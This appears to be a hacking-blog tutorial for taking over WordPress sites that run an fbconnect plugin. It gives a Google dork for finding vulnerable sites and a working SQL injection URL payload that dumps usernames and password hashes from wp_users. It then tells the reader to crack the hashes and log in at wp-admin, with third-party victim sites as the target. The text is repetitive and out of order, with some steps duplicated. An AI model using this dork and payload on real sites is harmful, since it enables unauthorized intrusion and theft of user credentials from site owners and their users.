So its a New Tut of Wordpress Blog Hacking,,, Lets Start ...
Open Google.com and enter This Dork
inurl:"fbconnect_action=myhome"
You will find many sites, Select the site which you are comfortable with.
The website Url will be Like this http://www.site.com/?fbconnect_action=myhome&userid=
?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--
he password is encrypted with Wordpress md5 (blowfish). You need to decode this.Download And Run This Software to decode this type of password
Then find the administrator panel out. Normally it should be in
www.victrimsite.com/wp-admin
Open Google.com and enter This Dork
inurl:"fbconnect_action=myhome"
You will find many sites, Select the site which you are comfortable with.
Now replace the ?fbconnect_action=myhome&userid= with
?fbconnect_action=myhome&userid=
with this?fbconnect_action=myhome&userid=
?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--
Now The URL will be Like this ..
www.site.com/?fbconnect_action=myhome&userid=
with this
www.site.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--
Now you have the User name and Password.
with this
www.site.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--
Now you have the User name and Password.
Then find the administrator panel out. Normally it should be in
www.victrimsite.com/wp-admin
or
www.victrimsite.com/wp-login.php
Last Step : TYPE THE DECRYPTED USERNAME AND PASSWORD and Login In website :)
0 comments:
Post a Comment